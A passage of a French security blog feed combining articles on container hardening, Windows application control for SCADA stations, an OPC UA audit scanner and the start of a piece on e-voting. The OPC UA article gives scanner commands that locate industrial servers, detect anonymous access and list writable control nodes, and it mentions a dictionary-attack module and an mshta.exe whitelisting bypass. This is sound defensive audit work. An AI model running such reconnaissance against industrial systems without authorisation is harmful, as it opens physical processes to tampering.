Considérons tout d’abord les nœuds worker. Ce seront nos bateaux porte-conteneurs. Ils ont pour vocations de porter la charge, c’est-à-dire d’exécuter les conteneurs de l’orchestrateur.

Kubernetes introduit ensuite le concept de pods. Un pod sera les conteneurs sur les bateaux. Un pod est généralement composé d’un unique conteneur. C’est ce composant qui fait tourner l’applicatif à déployer.

Ensuite, nous avons le control plane constitué des nœuds master. Ils sont représentés par les grues qui vont dispatcher les conteneurs d’un bateau à un autre selon la charge que chaque bateau peut accueillir. En termes techniques Kubernetes, le nœud master va décider sur quel(s) nœud(s) worker exécuter les pods. Le nœud master est le point central du cluster. Il contient toute l’intelligence du cluster. C’est également avec lui qu’on interagit pour administrer le cluster et c’est avec lui que les nœuds worker interagissent pour savoir quelles actions effectuer selon les pods qu’ils exécutent (créer de nouveau, les détruire…).

Pour finir, on aura un équilibreur de charge qui sera, dans cette analogie, représenté par les camions acheminant les conteneurs. L’équilibreur de charge permet de répartir la charge de flux entrants entre les pods. Par exemple, si trois pods hébergent le même applicatif, l’équilibreur de charge fera en sorte de répartir les requêtes entre les 3 pour ne pas en surcharger un. L’équilibreur de charge est l’interface entre le cluster et l’extérieur, tout comme les camions font le lien avec l’extérieur du port.

Plus classiquement, voici le schéma technique reprenant les différents éléments[2] :

Comment sécuriser le container à toutes les étapes de son cycle de vie ?

Maintenant que nous avons abordé les notions de base, voyons comment on peut sécuriser tout cela. La sécurité doit s’appliquer à chacun des stades du cycle de vie d’un conteneur. En effet, chaque stade présente des défis et des impacts de sécurité associés.

L’image est d’abord construite

La première étape du cycle de vie des conteneurs est de choisir une image de base. Une image de conteneur est un ensemble de logiciels légers et de fichiers qui comprend tout ce qui est nécessaire à l’exécution d’une application : le code, le moteur d’exécution, les outils système, les bibliothèques système et les paramètres. Le plus souvent, on va récupérer cette image sur internet. Il existe donc un risque d’utiliser une image d’une source inconnue qui serait déjà compromise (avec une backdoor par exemple).

Ainsi, dans cette première étape, il est primordial de bien choisir la source de son image pour s’assurer de prendre une image de confiance (« Trusted image »). Pour cela, on peut s’appuyer sur des sources de référence comme Docker Hub ou encore proposer un catalogue d’images propre à son entreprise. Dans ce dernier cas, les images sont vérifiées et validées en amont par les équipes sécurité de l’entreprise, on les appelle des « golden images ».

La seconde étape est d’installer une application sur l’image. Il existe donc un risque classique de vulnérabilité dans le code de l’application. Les scans de vulnérabilités, la sensibilisation des développeurs et le respect des bonnes pratiques de développement s’imposent ici pour éviter qu’une vulnérabilité ne se glisse dans le code de l’application.

La troisième étape est la configuration des images. Il s’agit de configurations par défaut appliquées lors du déploiement des conteneurs. À titre d’exemple, un conteneur est exécuté avec le compte root (ou administrateur système) par défaut : ne pas modifier cette configuration représente un risque si le conteneur venait à être compromis. De plus, le fait de mettre le système de fichier du conteneur en lecture seule, permet également de limiter les impacts en cas de compromission. En effet, avec ces deux configurations, un attaquant aura moins de champ libre pour ses actions.

L’image est ensuite stockée dans un dépôt de conteneurs

Une fois l’image construite, il faut la stocker pour pouvoir y accéder et la déployer autant de fois qu’on le souhaite. Pour cela on utilise un dépôt de conteneurs qu’il est nécessaire de sécuriser également. En effet, si un attaquant pousse une image vérolée dans le dépôt de conteneur, cette dernière peut être déployée en production.

Plusieurs mesures de sécurité peuvent être mises en place pour sécuriser le dépôt de conteneurs :

• Restreindre les droits et les permissions des utilisateurs ou des ressources sur le dépôt pour réduire le risque : seules les personnes ou ressources ayant besoin de « pousser » ou « retirer » une image du dépôt doivent être en droit de le faire.
• Restreindre l’exposition réseau.
• Signer les images déposées pour assurer leur intégrité.
• Conserver une trace des actions effectuées sur le dépôt de conteneurs.

S’ensuit la phase de déploiement de l’image

Une fois l’image construite et stockée, il faut désormais la déployer pour la rendre accessible.

Lorsque l’on déploie un conteneur, on va déterminer des configurations selon les cas d’usage. Certaines configurations permettent ainsi de réduire l’isolation logique existante entre les conteneurs et l’hôte. Par exemple il est possible d’autoriser un conteneur à lister les processus de l’hôte ou encore partager la même carte réseau. La configuration privileged, permet même de faire tomber ces barrières d’isolation et donne aux conteneurs un accès à l’ensemble des fonctionnalités de l’hôte. Ces configurations, certaines dangereuses, peuvent aboutir à des échappements de conteneur : c’est-à-dire un attaquant qui est sur un conteneur peut utiliser ces privilèges pour s’échapper et parvenir au système d’exploitation. Une fois sur le système d’exploitation, un attaquant pourra obtenir des informations à partir de fichiers de l’hôte ou initier des déplacements latéraux. En d’autres termes, c’est un pas de plus dans le système d’information.

En termes de recommandation sur le déploiement, il sera ainsi nécessaire dans un premier temps de limiter les dépôts de conteneurs à une liste connue et de confiance. Par la suite, des configurations comme AppArmor, Seccomp ou la désactivation des capabilities Linux permettent de restreindre les appels système et les ressources qui seront utilisées par les conteneurs. Pour finir, il conviendra de configurer le système de fichiers du conteneur en lecture seule (ReadOnly) et d’appliquer le principe de moindre privilège sur les configurations passées aux conteneurs. En d’autres termes, il est nécessaire de limiter l’utilisation de la configuration privileged ou encore la rupture de certaines isolations (process, réseau, etc.).

Enfin le conteneur est exécuté

Pour ce qui est de l’exécution, nous allons nous concentrer sur les méthodes privilégiées par les entreprises. C’est-à-dire les orchestrateurs, avec souvent Kubernetes, ou bien les services d’hébergement de conteneurs sur le Cloud, les CaaS.

Dans le cas de l’orchestration par Kubernetes, l’objectif sera d’abord de vérifier la conformité des déploiements de conteneurs afin d’éviter le déploiement de conteneurs dangereux privilégiés. Ils peuvent provenir d’attaque ou simplement d’erreurs d’administration. Selon les plateformes, on parle des , des SecurityContextConstraint ou encore d’outils externes comme OPA Gatekeeper.

Il est également recommandé de limiter les flux réseau au sein du cluster, entre les conteneurs, et sortants du cluster afin de restreindre les déplacements latéraux. Cette restriction peut être appliquée avec des NetworkPolicy ou à nouveau avec des outils externes de micro-segmentation. Pour finir, il sera nécessaire d’avoir une gestion fine des rôles et utilisateurs ainsi que d’appliquer un durcissement suffisant sur les machines virtuelles servant de nœuds.

Dans le cas des CaaS, l’infrastructure est gérée par le fournisseur Cloud. En tant qu’utilisateur, le durcissement pourra se faire uniquement par l’activation ou la désactivation de certaines options. Une analyse de chaque solution sera nécessaire pour définir des recommandations précises car Azure, Google Cloud Platform ou encore Amazon Web Services proposent des options différentes.

Pour finir, surveiller l’ensemble des étapes

Le monitoring des conteneurs est important pour des besoins de debug ou encore de récupération de preuves en cas d’incident. Malheureusement, contrairement à une machine virtuelle, un conteneur est éphémère. Ses journaux le sont aussi par conséquent… Dans ce cas, comment faire ?

La supervision pourra se faire à trois niveaux :

• Au niveau des conteneurs en externalisant les journaux (pour lutter contre le côté éphémère des conteneurs et de ses journaux)
• Au niveau de la charge de travail des conteneurs (workload)
• Au niveau des infrastructures (les nœuds du cluster par exemple)

Cette journalisation collectée pourra être gérée par des équipes SOC Cloud dédiées ou centraliser dans le SIEM de l’entreprise. Par la suite, des scénarios de détection pourront être créés

Il est important de mentionner que les solutions CaaS ainsi que les Kubernetes managés par un fournisseur Cloud (AKS, EKS, GKE, …) permettent de faciliter la centralisation et l’externalisation de ces journaux.

Cette partie a permis d’aborder les bonnes pratiques à respecter et les risques associés à chaque étape du cycle de vie d’un conteneur. Le schéma ci-dessous permet d’en faire un résumé :

CWPP, la solution à nos problèmes ?

CWPP, Cloud Workload Protection Platform, est un nouvel outil dont on entend beaucoup parler en ce moment. Mais que permet-il ?

Un CWPP est un outil permettant de surveiller et de détecter les menaces sur les workloads, i.e l’ensemble des services exécutés sur le cloud, et en particulier les conteneurs. Il permet d’assurer une partie de la sécurité tout au long du cycle de vie présenté précédemment. Il est notamment utile pour la détection de secrets et de vulnérabilités dans les librairies des applications, la réalisation d’une revue des accès au dépôt, la vérification des configurations ou encore la gestion de la partie monitoring (collecte des logs, détection et remédiation).

Comme tout outil, le CWPP ne sera pas magique. Il sera nécessaire de le déployer avec ou sans agent suivant les cas de figure que l’on souhaite couvrir. Mais au-delà de l’aspect technique du déploiement, il sera nécessaire de l’intégrer dans le processus de l’entreprise pour que tous les acteurs aient un outil leur permettant d’optimisant la sécurité. Il ne faut donc pas minimiser la charge nécessaire de définition de stratégie, de nouveaux processus et d’accompagnement au changement des acteurs ainsi que l’intégration de l’outil avec les outils utilisés par les développeurs. Par exemple, un développeur souhaitera être informé qu’il doit réaliser une remédiation sur un conteneur sur son outil de gestion des incidents (JIRA, issue dans le Git projet…) et être en mesure de pouvoir tester son nouveau conteneur depuis sa machine avant même de l’avoir poussé dans le dépôt de conteneur. Les fonctionnalités d’un CWPP sont bien souvent déjà partiellement ou totalement couvertes par des outils existants, sa mise en place peut permettre de centraliser la vision et parfois d’optimiser les coûts de licences.

Les éléments clés de la sécurisation des conteneurs

Vous l’aurez compris avec cet article, le conteneur est né pour des besoins d’infrastructure. Leur aspect léger et flexible en fait un atout parfait pour les besoins applicatifs actuels. Cette démocratisation induit de nouvelles surfaces d’attaques à protéger et impose donc la prise en compte de la sécurité des conteneurs.

Malheureusement, il n’existe pas un outil ou une unique bonne pratique à respecter. En effet, comme l’article l’illustre, c’est un ensemble d’éléments qui permettent de sécuriser ces boites applicatives. Parmi les bonnes pratiques à respecter, les 5 points suivants sont les éléments clés à retenir :

1. Contrôler les images : en utilisant une image de confiance durcie, en sécurisant le code source et en réalisant des scans de vulnérabilités
2. Sécuriser l’isolation des conteneurs : en évitant les configurations dangereuses lors du déploiement des conteneurs et via le durcissement des images
3. Assurer la segmentation réseau : en s’assurant de restreindre l’exposition externe du cluster, les flux au sein du cluster et en sortie du cluster
4. Monitoring et détection : en récupérant des journaux à 3 niveaux différents et en mettant en place des scénarios de détection
5. Sécuriser l’accès IAM : en appliquant une gestion fine de l’IAM sur le cluster ou sur le fournisseur Cloud. Cette gestion peut s’accompagner de revue périodique.

[1] https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html

[2] https://kubernetes.io/docs/concepts/overview/components/

Cet article Naviguez en toute sécurité : La sécurisation des conteneurs étape par étape  est apparu en premier sur RiskInsight.

Un SCADA (Supervisory Control And Data Acquisition ou Système de contrôle et d’acquisition de données) permet de gérer et de contrôler à distance des installations industrielles. Cela inclut des machines telles que des postes de supervision, serveurs de centralisation de données, portables de maintenance…).

Les postes SCADA incluent trois fonctions principales :

• Acquisition : Des capteurs sont présents sur les automates programmables industriels (API) qui agissent sur le processus industriel. Ces capteurs sont reliés au SCADA afin que les différentes données du processus puissent être récupérées ;
• Supervision : Les opérateurs accèdent aux données récupérées et supervisent en temps réel le bon déroulement du processus industriel ;
• Contrôle : Lorsque le processus industriel le permet, les opérateurs peuvent envoyer certains ordres de contrôles aux automates afin d’adapter le processus industriel.

La nature de ces postes en fait un élément important de la chaîne de production, c’est pourquoi il est nécessaire de sécuriser leur partie logicielle qui fonctionne souvent sous Windows.

Cependant, des contraintes sont présentes par rapport à un poste en environnement bureautique classique :

• Les postes fonctionnent en continu, avec une fréquence de mise à jour très faible (une fois tous les 1 à 2 ans) ;
• De plus, ces postes ont une durée de vie très étendue, pouvant aller jusqu’à plus de 10 ans. Un poste SCADA fonctionnera donc en partie sur un système d’exploitation obsolète qui ne recevra plus de patchs de sécurité durant sa période de fonctionnement ;
• Enfin, les systèmes industriels sont parfois totalement isolés, ce qui empêche l’utilisation de solutions de sécurité telles que des EDR qui ont besoin de communiquer avec une console centrale pour remonter les alertes et récupérer les actions à effectuer.

Les solutions de sécurité classiques ne sont donc pas applicables dans un écosystème soumis à ces contraintes.

Une solution possible : le contrôle d’application

Une des solutions permettant de pallier ces problèmes est le contrôle d’application : cela consiste à gérer quelles applications sont autorisées à être exécutées ou non sur une machine grâce à une liste blanche d’applications autorisées.

Les solutions de contrôle d’application gèrent aussi bien les .exe que d’autres types de programmes tels que les DLL, les pilotes ou encore les scripts (comme PowerShell, CMD ou encore VBS).

Une partie significative des menaces proviennent de programmes malveillants. Ce genre de solutions permet d’autoriser uniquement les applications nécessaires tout en bloquant toute application indésirable ou dangereuse. Le contrôle d’application garde également un bon niveau de sécurité dans un système obsolète et sujet à des vulnérabilités, car durant les étapes de compromission, un attaquant est souvent amené à exécuter des programmes malveillants sur un système.

Par ailleurs, le contrôle d’application s’intègre facilement dans le milieu industriel : les postes de supervision sont soumis à bien moins de changements qu’un poste de bureautique ; il n’y aura donc pas besoin de revoir en permanence la liste blanche afin d’y ajouter des applications à autoriser.

Solutions de contrôle d’application sous Windows

Deux solutions de contrôle d’application sont présentes nativement sous Windows : Windows Defender Application Control (WDAC) et AppLocker. WDAC est apparu avec Windows 10 ; c’est le successeur d’AppLocker qui est présent depuis Windows 7. Les deux solutions partagent un fonctionnement très similaire, cependant WDAC est activement maintenu par Microsoft, avec de l’ajout de nouvelles fonctionnalités, tandis qu’AppLocker ne reçoit que des mises à jour de sécurité.

Lorsqu’une application n’est pas autorisée par la liste blanche, son exécution sera bloquée. Le message d’erreur suivant sera alors affiché à l’utilisateur. Un évènement contenant les informations du blocage sera également inscrit dans les logs de Windows pour revue par le SOC ou les administrateurs du système d’information.

Le contrôle d’application peut fonctionner en mode bloquant ou audit. Le mode audit permet de tester la liste utilisée : les applications non autorisées sont exécutées, mais un évènement de blocage est tout de même inscrit pour indiquer qu’elles ne fonctionneraient pas en mode bloquant.

Afin d’avoir un contrôle d’application efficace, il est nécessaire de constituer une liste blanche la plus restrictive possible tout en autorisant les applications métier. Pour les deux solutions, la liste blanche peut se constituer avec trois règles différentes :

• Règles de chemin : Autorise l’application selon le chemin depuis lequel elle est exécutée. Ce sont les règles les plus faciles à utiliser mais elles peuvent induire des problèmes de sécurité. Il est en effet courant de retrouver des dossiers autorisés dans la liste blanche et accessibles en écriture par les utilisateurs. Ces derniers seront donc en mesure de déposer n’importe quelle application dans le dossier pour pouvoir l’exécuter, contournant ainsi le contrôle d’application ;
• Règles d’éditeur : Autorise l’application en fonction des éléments de sa signature numérique. Ces règles sont tout autant faciles à utiliser que les règles de chemin mais gardent un bon niveau de sécurité en n’autorisant que des applications provenant d’éditeurs légitimes. L’avantage principal de ce type de règle est qu’elles restent valables après une mise à jour des applications car l’éditeur ne change pas. Cependant, cela nécessite que les applications à autoriser soient signées, ce qui n’est pas toujours le cas en milieu industriel ;
• Règles de hash : Autorise l’application selon son hash. Ces règles imposent le plus haut restrictif possible. Le hash de chaque application étant unique, seul le code explicitement autorisé par la politique peut être exécuté. Toutefois, ce type de règle génère un coût organisationnel important : toute modification d’une application change son hash ; la règle doit alors être mise à jour afin d’autoriser correctement l’application.

Pour les choix des types de règles à utiliser, on distingue deux cas de figures :

• Sur les équipements recevant des mises à jour, les règles d’éditeur doivent être privilégiées afin de garder la validité de la liste blanche même après modification des fichiers des applications. Les règles de chemin pourront être utilisées en second lieux pour les applications non signées, en faisant attention aux règles d’accès des répertoires en question ;
• Sur les équipements dont la configuration ne changera pas, les règles éditeurs peuvent être utilisées pour autoriser facilement le code de base de Windows. Les applications métier pourront alors être autorisées avec des règles de hash car elles ne seront pas vouées à changer.

Démarches de déploiement

Maintenant que l’on sait quels types de règles utiliser, il reste à constituer la liste blanche pour la machine à sécuriser. Deux approches sont retenues selon le type de poste à gérer :

Approche temporelle : Déploiement par amélioration continue

Cette méthode consiste à déployer le contrôle d’application en partant d’une politique de base autorisant les composants de Windows qui est ensuite améliorée petit à petit grâce aux évènements générés par l’exécution des applications métier.

Cette approche est particulièrement adaptée pour les postes existants en production sur lesquels les administrateurs n’ont pas beaucoup d’informations. Chaque évènement généré doit alors être revu afin d’estimer si l’application exécutée est légitime ou non. Cela permet d’obtenir une liste blanche exhaustive sans pour autant autoriser des applications illégitimes.

Approche par modèle : Déploiement sur une « golden image » puis réplication sur le reste des machines

Dans cette approche, WDAC sera déployé sur une « golden image », c’est-à-dire une image propre contenant toutes les applications nécessaires à l’utilisation métier de la machine. Une fois la politique correctement configurée, la golden image pourra être clonée sur toutes les autres machines ayant le même rôle. Typiquement, la golden image pourra être produite à l’issue des tests d’acceptation (FAT/SAT) lors de la mise en place d’une nouvelle usine.

Cette approche est préférable pour les nouveaux postes à mettre en production. En partant d’une machine vierge où l’on installe l’ensemble des logiciels nécessaires au métier, on est assuré qu’aucune application illégitime n’est présente sur la machine. Il est alors possible d’utiliser les outils fournis par Microsoft afin de scanner la machine et générer automatiquement une liste blanche autorisant l’ensemble des applications présentes sur la machine.

Limites du contrôle d’application

Il est important de prendre en compte les limites de ces solutions, qui ne sont pas infaillibles. Par nature, les actions d’une application autorisée à être exécutée ne sont plus surveillées, l’application peut elle-même exécuter du code ou lancer d’autres programmes. Par conséquent, si un attaquant venait à découvrir une vulnérabilité sur une application autorisée par la liste blanche, le contrôle d’application n’empêcherait pas son exploitation qui permettrait d’influer sur le procédé industriel, mais cela empêchera l’exécution de programmes malveillants tels que des ransomware.

Il existe ainsi plusieurs manières de contourner le contrôle d’application en utilisant des programmes présents de base dans Windows. C’est notamment le cas de mshta.exe qui permet d’exécuter des applications HTML autonomes (.hta) qui sont capables d’exécuter du code sur une machine. C’est pourquoi Microsoft maintient en permanence une liste d’applications présentes de base dans Windows ou signées par Microsoft à bloquer afin de durcir le contrôle d’application.

Le même principe s’applique aux programmes métier. Il revient aux industriels de faire auditer leurs applications afin de s’assurer qu’aucune vulnérabilité pouvant permettre la compromission du poste ne soit présente.

Contrôle d’application sous Windows : WDAC ou AppLocker ?

Finalement, les deux solutions sont très similaires et compatibles avec les deux modes de déploiement présentés précédemment, il reste donc à choisir entre les deux.

Lorsque possible, il est préférable de choisir WDAC : sa force se trouve dans sa capacité de contrôle global et ses différentes fonctionnalités. En effet, AppLocker ne peut contrôler que les programmes exécutés par l’utilisateur, tandis que WDAC peut aussi contrôler les programmes exécutés par Windows tels que les pilotes.

De plus, WDAC intègre des fonctionnalités supplémentaires telles que des protections contre les élévations de privilèges ou encore la vérification automatique des accès utilisateur sur les règles de chemin. Microsoft continue également de supporter la solution et de l’améliorer en ajoutant de nouvelles fonctionnalités, tandis qu’AppLocker ne reçoit que des mises à jour.

AppLocker quant à lui est généralement plus simple d’utilisation que WDAC et permet de différencier l’application des règles selon les utilisateurs de la machine alors que les règles de WDAC s’appliquent à toute la machine sans distinction.

Cependant, WDAC n’est disponible qu’à partir de Windows 10. Ainsi, sur les machines utilisant Windows 7, encore très présentes sur les réseaux industriels, AppLocker est la seule solution native disponible, qui est donc à utiliser. Sur Windows 10 et supérieur, WDAC est la meilleure solution de contrôle d’application et est à préférer.

En complément, AppLocker peut être utilisé en parallèle de WDAC s’il y a besoin de différencier les règles selon les utilisateurs. WDAC devra alors être implémenté au niveau le plus restrictif possible, puis AppLocker peut être utilisé pour affiner les restrictions.

Cet article Le filtrage applicatif : quelle stratégie adopter pour son système de supervision industriel ? est apparu en premier sur RiskInsight.

L’émergence de l’industrie 4.0 se caractérise par la numérisation de l’industrie et une plus grande interconnexion entre les différentes machines qui composent un SI (Système d’Information) industriel. Cependant, cette croissance des communications au sein des SI industriels engendre également une augmentation de leur surface d’attaque. De plus, les protocoles historiquement utilisés au sein de ces SI (comme Modbus), n’offrent que très peu, voire aucun mécanisme de sécurité. Certains de ces protocoles étaient également propriétaires ce qui pouvait poser des problèmes d’interopérabilités entre les différentes machines du SI.

Le standard OPC UA a été créé en 2008 par la fondation OPC pour répondre à ces problématiques, en proposant une uniformisation des communications entre les machines des SI industriels, et en intégrant de nombreux mécanismes pour garantir la sécurité de ces communications.

Le standard OPC UA

Le standard OPC UA est un standard de communication open-source, qui a été conçu pour être multiplateforme. Il peut être implémenté sur tout type de composant, quel que ce soit son système d’exploitation.

Communications permises par OPC UA (Source : site web de la OPC Foundation)

Le standard propose deux types d’architectures, pouvant être utilisées de manière complémentaire :

• L’architecture client-serveur : c’est l’architecture la plus utilisée. Elle est composée d’éléments matériels et/ou logiciels qui contiennent des données, de serveurs OPC UA qui mettent à disposition ces données ou des services, ainsi que de clients OPC UA qui peuvent interagir avec les serveurs pour utiliser leurs services ou accéder à leurs données.
• L’architecture PubSub : elle peut être est utile lorsque le volume de données échangées commence à devenir important. Elle est composée de Publishers qui émettent des messages, et de Subscribers, qui reçoivent ces messages par le biais d’un Message Oriented Middleware (MOM).

Sécurité de l’architecture client-serveur

L’architecture client-serveur étant de loin la plus utilisée, nous allons à présent nous pencher plus en détail sur les mécanismes de sécurité proposés par le standard OPC UA dans ce type d’architecture.

Tout d’abord, trois niveaux de sécurité dont disponibles concernant le chiffrement des communications entre un client et un serveur OPC UA :

• None : les messages sont envoyés en clair, sans aucune protection
• Sign : les messages sont signés. Cela protège l’intégrité des données transmises, mais pas leur confidentialité
• SignAndEncrypt : les messages sont signés et chiffrés. Dans ce cas, la confidentialité des messages est également protégée

Pour mettre en place ce chiffrement, le client et le serveur disposent chacun d’un certificat X.509 et d’une clé privée associée, qu’ils utilisent pour s’échanger une clé de session de manière chiffrée. Ils peuvent ensuite utiliser cette clé de session pour chiffrer la suite des échanges avec des algorithmes de chiffrement symétriques.

Plusieurs niveaux de sécurité concernant l’authentification des utilisateurs sont également disponibles. Pour s’authentifier, les clients envoient aux serveurs des jetons appelés UserIdentityTokens, qui contiennent les informations nécessaires à l’authentification. Il existe plusieurs types de UserIdentityToken, et c’est le serveur qui choisit quels types il accepte :

• AnonymousIdentityToken : ce jeton ne contient aucune information particulière. Si le serveur l’accepte, il authentifie l’utilisateur en tant qu’utilisateur anonyme
• UserNameIdentityToken : ce jeton contient un nom d’utilisateur et un mot de passe. Si ces derniers sont valides, l’utilisateur est authentifié et dispose ensuite du profil et des droits associés à son nom d’utilisateur
• X509IdentityToken : ce jeton contient un certificat X.509. Si le serveur a enregistré ce certificat, l’utilisateur est authentifié et dispose ensuite d’un profil et des droits associés au certificat
• IssuedIdentityToken : ce jeton encapsule un jeton d’accès fourni par un service tiers de gestion des accès, comme un serveur OAuth2 par exemple

Enfin, une fois authentifié, l’utilisateur a accès aux nœuds du serveur. Ci-dessous, un exemple de nœuds qui pourraient être rencontrés sur un serveur OPC UA :

Nœuds d’un serveur OPC UA

Un contrôle d’accès peut être mis en place pour restreindre l’accès à certains nœuds aux utilisateurs à haut privilège (administrateurs, …), ou bien pour exiger que le canal de communication soit chiffré pour accéder à certains nœuds sensibles. La figure ci-dessous récapitule comme la gestion de l’accès à un nœud se déroule :

Représentation de la gestion des permissions extraite du chapitre 2 des spécifications OPC UA

Outillage d’audit OPC UA

Les outils publics existants pour faciliter l’audit d’applications OPC UA sont très peu nombreux. Un des plus connus est le module Metasploit appelé « msf-opcua ».

Ce module est composé de trois scripts :

• opcua_hello : permet d’envoyer un « Hello Message » à une liste d’adresses IPs, pour un port donné, afin de détecter la présence de serveurs OPC UA parmi cette liste
• opcua_server_config : ce script s’utilise avec pour prérequis un accès authentifié à un serveur OPC UA. Si cette condition est remplie, ce script permet de récupérer des informations sur la configuration des points d’accès du serveur (chiffrement, authentification…)
• opcua_login : permet d’effectuer une attaque par dictionnaire sur un serveur utilisant une authentification par nom d’utilisateur et mot de passe

Bien que fournissant des premiers éléments utiles pour effectuer un audit, cet outil comporte tout de même quelques limites. Par exemple, il n’est pas possible de scanner plusieurs ports à la fois avec le script opcua_hello. Autre exemple, le script opcua_server_config requiert une authentification pour récupérer certaines informations de configuration alors que ces dernières sont en réalité disponibles sans authentification.

C’est pourquoi Wavestone a décidé de proposer une amélioration de cet outil. Il a été décidé de ne plus utiliser le framework Metasploit, qui imposait trop de contraintes et l’outil prend à présent la forme d’un script Python indépendant, renommé « opcua_scan ». Il s’appuie sur la bibliothèque opcua-asyncio contrairement au module msf-opcua qui utilise la librairie python-opcua déclarée comme dépréciée par ses auteurs.

L’outil est accessible via ce lien, et met à disposition deux commandes : « hello » et « server_config », qui reprennent les fonctionnalités des scripts opcua_hello et opcua_server_config du module msf-opcua. Le script opcua_login n’a pas été repris, car il n’a pas fait l’objet d’amélioration et peut être utilisé directement.

La commande hello

Cette commande s’utilise pour détecter les applications OPC UA dans un réseau. Elle permet d’envoyer des « Hello Message » à une liste d’adresses IP, sur une liste de ports donnée, et d’en déduire la présence ou l’absence de serveurs OPC UA sur les cibles. Ensuite, le service FindServers, supposé être implémenté par tout serveur OPC UA, est utilisé pour récupérer l’ApplicationDescription du serveur (et des autres applications OPC UA connues par le serveur). Cet objet contient des informations utiles, comme le productUri, qui donne des renseignements sur le logiciel ou la bibliothèque utilisée pour faire fonctionner le serveur détecté, ou encore les discoveryUrls, qui indique les URL vers les DiscoveryEndpoints du serveur. Ces endpoints peuvent être utilisés par la commande server_config pour récupérer davantage d’informations sur la configuration du serveur.

Plusieurs options ont été ajoutées à la commande, comme la configuration du timeout pour considérer une connexion à un serveur comme échouée ou la possibilité de récupérer la liste des serveurs détectés dans un fichier de sortie JSON.

Voilà comment la commande hello pourrait s’utiliser en pratique :

$ python opcua_scan.py hello -i <IPs> -p <ports> -o hello_output.json

Exemple de résultats générés par la commande hello

Et la capture d’écran ci-dessous montre un extrait du fichier JSON généré :

Extrait d’un fichier de sortie généré par la commande hello

La documentation complète de la commande hello et de toutes ses options est disponible ici.

La commande server_config

Grâce aux DiscoveryEndpoints récupérés avec la commande hello, nous avons à présent accès à l’ensemble du Discovery Service Set du serveur. Aucune authentification ni mécanisme de chiffrement n’est nécessaire pour utiliser ces services. Parmi ces services, celui appelé GetEndpoints peut être utilisé pour récupérer les endpoints pour se connecter au serveur, ainsi que des informations sur la configuration de ces endpoints. Ces informations sont données par le biais d’objets EndpointDescriptions, qui contiennent notamment :

• Le niveau de sécurité du chiffrement accepté sur l’endpoint (None, Sign ou SignAndEncrypt)
• L’algorithme de signature ou de chiffrement utilisé
• Les types de UserIdentityToken acceptés par l’endpoint (AnonymousIdentityToken, UserNameIdentityToken, X509IdentityToken ou IssuedIdentityToken)

La commande server_config permet de récupérer les EndpointDescriptions de tous les serveurs détectés via la commande hello, et d’identifier parmi ces serveurs ceux qui acceptent les authentifications anonymes ou le niveau de sécurité None. L’ensemble de ces informations sont accessibles et récupérables pour un utilisateur non authentifié.

De plus, si un accès authentifié à un serveur est possible, la commande permet également de parcourir les nœuds du serveur et d’énumérer les droits de l’utilisateur courant sur ces nœuds. Ainsi, il est possible d’obtenir la liste des nœuds de type Variable accessibles en écriture, ou bien la liste des méthodes exécutables par l’utilisateur.

Enfin, d’autres options utiles ont été ajoutées à la commande server_config :

• -o (ou –output) permet de configurer un fichier de sortie JSON pour stocker les résultats de la commande, et les parcourir plus facilement que sur un terminal. Des informations supplémentaires y sont stockées comme la valeur de l’attribut UserWriteMask des nœuds, qui indique quels attributs des nœuds peuvent être modifiés par l’utilisateur.
• -r (ou –root_node) permet de parcourir uniquement un sous-ensemble des nœuds du serveur à partir d’un nœud de départ précisé en argument. En effet le parcours de l’ensemble des nœuds peut être long et cette option peut être utilisée pour cibler les nœuds d’intérêt.

La documentation complète de la commande server_config et de toutes ses options est disponible ici.

En pratique, voilà comment la commande server_config pourrait s’utiliser :

Le fichier de sortie de la commande hello est donné en argument (via l’option -t) et sera utilisé pour récupérer les informations sur les endpoints des serveurs détectés :

$ python opcua_scan.py server_config -t hello_output.json

Exemple de résultats générés par la commande server_config

Ici, le serveur autorise les connexions non chiffrées et anonymes ou authentifiées avec un nom d’utilisateur et un mot de passe. Si le serveur n’acceptait pas les connexions anonymes, le script opcua_login du module msf-opcua pourrait être utilisé pour essayer de trouver des identifiants valides, mais cela n’est pas nécessaire dans cet exemple

Il est possible d’accéder anonymement au serveur et parcourir ses nœuds à la recherche de nœuds intéressants (le début du résultat de la commande a volontairement été coupé, et le répertoire « TemperatureControl » a été ciblé avec l’option -r pour réduire le nombre de nœuds parcourus) :

$ python opcua_scan.py server_config -t hello_output.json -o config_output.json -nw -r ‘ns=3;s=85/0:Simulation’

Exemple de résultats obtenu lors d’une recherche de nœuds accessibles en écriture

Les nœuds accessibles en écriture peuvent ensuite être analysés plus en profondeur dans le fichier de sortie qui a été configuré dans la commande précédente :

Extrait d’un fichier de sortie généré par la commande server_config

Ici, il semble possible pour un utilisateur anonyme d’allumer ou d’éteindre des climatiseurs à distance via le serveur OPC UA détecté

Conclusion

Malgré les mécanismes de sécurité apportés par le standard OPC UA, ces derniers peuvent présenter des défauts de configuration et exposer les SI industriels de manière non-négligeable. L’outil développé par Wavestone et présenté dans cet article permet de faciliter la démarche d’audit de ces configurations et d’assurer au mieux la sécurité de ces SI industriels.

Enfin, les spécifications OPC UA proposent davantage de mécanismes de sécurité, comme la gestion des certificats par un Global Discovery Server ou de chiffrement des messages PubSub grâce à la mise en place d’un Security Key Server. Le standard OPC UA pourrait donc permettre d’effectuer des progrès supplémentaires en matière de sécurité, mais peu d’implémentations de ces mécanismes existent à ce jour.

L’outil est disponible sur notre Github : https://github.com/wavestone-cdt/opcua-scan

Cet outil a également été mis en avant lors d’une session Arsenal Lab à la conference BlackHat Asia 2023 à Singapour : https://github.com/wavestone-cdt/bhasia23-opcuhack

Cet article Un regard sur OPC UA, un protocole industriel moderne et émergent est apparu en premier sur RiskInsight.

Définition du vote électronique

Le vote électronique est un système de vote dématérialisé, à comptage automatisé, dans lequel les électeurs utilisent des dispositifs électroniques pour enregistrer leur vote.

Le système peut être utilisé à distance, comme dans le cas du vote par internet, ou en personne, comme dans les bureaux de vote équipés de machines à voter.

Quelques utilisations en France

Les premières traces datent de…  1969 !

Le ministre de l’Intérieur Raymond Marcellin fait autoriser l’utilisation de machines à voter 100% mécaniques[i]. En raison de pannes importantes et de la non-diminution des fraudes, ces machines tombent en désuétude, mais la modification faite au code électoral reste.

Une utilisation lors des élections professionnelles

Lors des élections professionnelles du secteur publique de 2018, 5,15 millions d’agents publics ont été appelés à voter via une solution de vote électronique.

